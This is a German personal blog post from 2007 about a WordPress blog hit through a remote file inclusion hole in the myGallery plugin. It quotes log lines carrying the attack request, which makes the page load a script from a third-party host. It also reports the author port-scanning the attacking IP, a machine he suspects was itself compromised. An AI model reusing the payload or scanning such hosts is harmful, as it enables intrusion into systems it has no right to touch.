We are under Attack !
Nov 19th, 2007 by rb
Falls sich jemand gewundert haben sollte, warum hier während der letzten Tage die Seite kurz weg war, und sie dann mit einer älteren Version ersetzt wurde:
Crackerangriff (Die böse Version von ‘Hacker‘, für alle, die das Wort nicht kennen).
Freitag Abend bekam ich eine (automatisch generierte?) Mail vom Rechenzentrum, mit, unter Anderem, folgenden Inhalt:
D/Bezeichnung: xeoh.net (xxx)
gesperrtes Verzeichnis: /is/htdocs/xxx/
Begründung: unsichere Skripte
Kommentar:72.232.223.186 - - [16/Nov/2007:18:06:56 +0100] \”GET /archives//mygallerybrowser.php?myPath=http://www.bertocchi.info/arm/files/temp/files/idmic2.txt? HTTP/1.1\” 404 14294 \”-\” \”Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5\” \”blog.xeoh.net\”
72.232.223.186 - - [16/Nov/2007:18:06:56 +0100] \”GET //mygallerybrowser.php?myPath=http://www.bertocchi.info/arm/files/temp/files/idmic2.txt? HTTP/1.1\” 404 1 4294 \”-\” \”Advanced Browser (http://www.avantbrowser.com)\” \”blog.xeoh.net\”
Bitte tragen Sie Sorge dafür, dass die Ursache für die Sperrung umgehend behoben wird.
Sobald dies geschehen ist kontaktieren Sie bitte unseren Support, damit dieser die Sperrung wieder aufhebt. Bitte beachten Sie, dass eine Entsperrung nur möglich ist, wenn der Sperr-Grund nicht mehr besteht.
Lustigerweise war ich zufällig grade online, und Moritz hatte mich auf die Idee gebracht mal, da der Angreifer unter der oben angegeben IP sehr vermutlich noch online sein sollte, zum Gegenschlag (oder zumindest zur kontrollierten Kontaktaufnahme) zu blasen. Eine schnell durchgeführte Analyse (die sicher nicht mit einem in Deutschland ja jetzt verbotenen Hackertool durchgeführt wurde) auf die IP 72.232.223.186 ergab daraufhin am Zielrechner zumindest folgende offene Ports:
radsec (2083/tcp)
nbx-ser (2095/tcp)
domain (53/udp)
imap (143/tcp)
http (80/tcp)
nbx-dir (2096/tcp)
https (443/tcp)
eli (2087/tcp),
und weiterhin
The remote name server could be fingerprinted as being : ISC BIND 9.2.3
72.232.223.186 resolves as srv.maxstuff.com.br.
Eigentlich eine nette Idee zum Fingerprinting des Angreifers, nur leider bei so vielen offenen Port bin ich mir nicht sicher, ob der Rechner wirklich dem Angreifer gehört, oder er eher nur auf ihn zwangsweise gehört hat …
Der Angriff an sich ging auf eine bekannte Lücke im myGalleryPlugin von Wordpress, die ich, Schande über mich, aus Unwissenheit nicht geschlossen hatte … Tja, Wordpress hatte ich immer brav drauf gemacht, aber um die Plugins hatte ich mich nie gekümmert …
Wie man oben sehen kann, wurde vom Angreifer ein Skript über einen dritten Host (bertocchi.info) nachgeladen, welches eine extrem schlampig programmierte Sicherheitslücke ausgenutzt hat — eine Pfad zu einer in PHP eingebundenen Datei wurde per URL!!!! übergeben (übergeben hier semantisch nahe im Sinne von kotzen) — was es recht einfach macht, z.B. sowas wie Folgendes hier nachzuladen:
Ganz ehrlich, beim Betrachten der schuldigen Codezeilen (nochmals unten eingeblendet) frage ich mich, ob man nicht mal über eine neue Art von Angriffen nachdenken sollte, ich nenne sie: getarnte Trojaner. Man stelle sich ein recht nützliches Programm vor, das eine mittlere Verbreitung erfährt, eventuell sogar Open Source ist, aber nicht zu viele aktive Entwickler hat.
An diesem Projekt arbeitet nun ein ganz netter Kerl mit, schreibt guten Code, usw. Doch irgendwann bietet diesem netten Kerl vielleicht jemand ein bisschen Geld an, beim schreiben einer Funktion ein wenig schlampig zu sein, nicht auffällig, nur so ein bisschen; ein paar Checks nicht ausführen, oder so. Einen Monat später passiert so was nochmal, und danach nochmal. Und plötzlich hat man einen nicht direkt sichtbaren Pfad durch den Code, ungeschützt, und möglicherweise direkt Netzwerkeingaben an die Datenbank durchschleusend, oder an den Kernel, oder auf den CAN-Bus, …

Und zum Schluss noch, der Top-1-Grund an dem man merkt, zu alt zu sein: Man denkt darüber nach, die Cracker, die einem die Homepage verk*ckt haben, anzuzeigen.